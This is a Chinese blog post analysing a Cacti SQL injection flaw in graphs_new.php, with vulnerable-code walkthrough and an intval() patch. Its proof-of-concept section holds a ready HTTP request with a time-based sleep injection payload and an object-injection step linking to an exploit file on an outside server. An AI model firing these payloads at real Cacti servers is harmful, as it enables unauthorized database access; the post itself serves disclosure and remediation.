cacti后台SQL注入漏洞 --解决

   cacti后台SQL注入漏洞

   简介
   cacti后台SQL注入漏洞
   cacti /graphs_new.php中对$_POST["cg_g"]参数过滤不严,导致SQL注入的发生,可能导致敏感数据泄漏。

    解决方法在第4步

1. 漏洞描述

  other SQL injection vulnerability via graphs_new.php in cacti was found, reported to the bug http://bugs.cacti.net/view.php?id=2652

  Relevant Link:

  http://bobao.360.cn/snapshot/index?id=146936

2. 漏洞触发条件

  0x1: POC1: SQL Inject

  复制代码
  POST /cacti/graphs_new.php HTTP/1.1
  Host: 192.168.217.133
  Proxy-Connection: keep-alive
  Cache-Control: max-age=0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Origin: http://192.168.217.133 [^]
  Upgrade-Insecure-Requests: 1
  User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36
  Content-Type: application/x-www-form-urlencoded
  DNT: 1
  Referer: http://192.168.217.133/cacti/graphs_new.php?host_id=3 [^]
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
  Cookie: 1c4af7f2e90e3a789e67a8e3acd2372f=8a83va6ijomgf7qdgfpcl8l1p2; Cacti=j8chtc1ppq4n7viqkbah6c4tv2
  Content-Length: 189

  __csrf_magic=sid%3Aed226a87fdcc8e055d1c27b620e564d629d95e40%2C1450241184&cg_g=033926697+xor+(select(0)from(select sleep(5))v)&save_component_graph=1&host_id=2&host_template_id=0&action=save
  复制代码
  0x2: POC2: Object Inject

  1. Login
  2. POST  http://target/cacti/graphs_new.php
     Data: __csrf_magic=sid%3A55c34c49f0a1e4abf5739766855abdfa96fbc91b%2C1448716384&action=save&save_component_new_graphs=1&host_id=1&selected_graphs_array=[injection]
      {Injection exp can be found on my server: http://pandas.pw/cacti.exp}
  3. mysql log: select graph_template_id from snmp_query_graph where id=1 and benchmark(20000000,sha1(1))--

3. 漏洞代码分析

  0x1: Vuls-1: Object Inject To SQL Inject

  /graphs_new.php

  复制代码
  /* set default action */
  if (!isset($_REQUEST["action"])) { $_REQUEST["action"] = ""; }
  switch ($_REQUEST["action"]) {
      case 'save':
          //track function form_save
          form_save();

          break;
      case 'query_reload':
          host_reload_query();

          header("Location: graphs_new.php?host_id=" . $_GET["host_id"]);
          break;
      default:
          include_once("./include/top_header.php");

          graphs();

          include_once("./include/bottom_footer.php");
          break;
  }
  复制代码
  form_save();

  复制代码
  function form_save() 
  {
      ..
      if (isset($_POST["save_component_new_graphs"])) 
      {
          //Track function host_new_graphs_save()
          host_new_graphs_save();

          header("Location: graphs_new.php?host_id=" . $_POST["host_id"]);
      }
  }
  复制代码
  host_new_graphs_save();

  复制代码
  function host_new_graphs_save() 
  {
      //variable $selected_graphs_array just unserialized the POST variable which we can control without filter.
      $selected_graphs_array = unserialize(stripslashes($_POST["selected_graphs_array"]));
      ..
      //Then the variable goes into a  three-dimensional array , and finally the dirty data we can control enter into the select database query, which caused a SQL injection.
      $graph_template_id = db_fetch_cell("select graph_template_id from snmp_query_graph where id=" . $snmp_query_array["snmp_query_graph_id"]);
      ..
  }
  复制代码
  0x2: Vuls-2: SQL Injection

  复制代码
  function form_save() 
  {
      if (isset($_POST["save_component_graph"])) 
      {
          /* summarize the 'create graph from host template/snmp index' stuff into an array */
          while (list($var, $val) = each($_POST)) 
          {
              if (preg_match('/^cg_(\d+)$/', $var, $matches)) 
              {
                  $selected_graphs["cg"]{$matches[1]}{$matches[1]} = true;
              }
              //cg_g is not filtered
              elseif (preg_match('/^cg_g$/', $var)) 
              {
                  if ($_POST["cg_g"]    0) 
                  {
                      $selected_graphs["cg"]{$_POST["cg_g"]}{$_POST["cg_g"]} = true;
                  }
              }
              elseif (preg_match('/^sg_(\d+)_([a-f0-9]{32})$/', $var, $matches)) 
              {
                  $selected_graphs["sg"]{$matches[1]}{$_POST{"sgg_" . $matches[1]}}{$matches[2]} = true;
              }
          }

          if (isset($selected_graphs)) 
          {
              //外部输入参数带入host_new_graphs中
              host_new_graphs($_POST["host_id"], $_POST["host_template_id"], $selected_graphs);
              exit;
          }

          header("Location: graphs_new.php?host_id=" . $_POST["host_id"]);
      }

      if (isset($_POST["save_component_new_graphs"])) {
          host_new_graphs_save();

          header("Location: graphs_new.php?host_id=" . $_POST["host_id"]);
      }
  }
  复制代码
  host_new_graphs(POST["hostid"],_POST["host_template_id"], $selected_graphs);

  复制代码
  function host_new_graphs($host_id, $host_template_id, $selected_graphs_array) {
      /* we use object buffering on this page to allow redirection to another page if no
      fields are actually drawn */
      ob_start();

      include_once("./include/top_header.php");

      print "<form method='post' action='graphs_new.php'  \n";

      $snmp_query_id = 0;
      $num_output_fields = array();

      while (list($form_type, $form_array) = each($selected_graphs_array)) {
          while (list($form_id1, $form_array2) = each($form_array)) {
              if ($form_type == "cg") {
                  //sql injection in graph_template_id 
                  $graph_template_id = $form_id1; 

                  html_start_box("<strong  Create Graph from '" . db_fetch_cell("select name from graph_templates where id=$graph_template_id") . "'", "100%", "", "3", "center", "");
  复制代码
  Relevant Link:

  http://seclists.org/fulldisclosure/2015/Dec/att-57/cacti_sqli%281%29.txt
  http://bugs.cacti.net/view.php?id=2652

4. 防御方法

  /graphs_new.php

  复制代码
  function host_new_graphs_save() 
  {
      ..
      /*$graph_template_id = db_fetch_cell("select graph_template_id from snmp_query_graph where id=" . $snmp_query_array["snmp_query_graph_id"]);*/         --注释
      $graph_template_id = db_fetch_cell("select graph_template_id from snmp_query_graph where id=" . intval($snmp_query_array["snmp_query_graph_id"]));      --添加
      ..
  }
  复制代码
  /graphs_new.php

  复制代码
  function host_new_graphs($host_id, $host_template_id, $selected_graphs_array) {
      /* we use object buffering on this page to allow redirection to another page if no
      fields are actually drawn */
      ob_start();

      include_once("./include/top_header.php");

      print "<form method='post' action='graphs_new.php'  \n";

      $snmp_query_id = 0;
      $num_output_fields = array();

      while (list($form_type, $form_array) = each($selected_graphs_array)) {
          while (list($form_id1, $form_array2) = each($form_array)) {
              if ($form_type == "cg") {
                  //sql injection in graph_template_id 
                  $graph_template_id = $form_id1; 
                  /**/
                  $graph_template_id = intval($graph_template_id);
                  /**/
                  html_start_box("<strong  Create Graph from '" . db_fetch_cell("select name from graph_templates where id=$graph_template_id") . "'", "100%", "", "3", "center", "");
  复制代码
  Relevant Link:

  http://www.cacti.net/download_cacti.php

转载于:https://blog.51cto.com/13555423/2361140

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值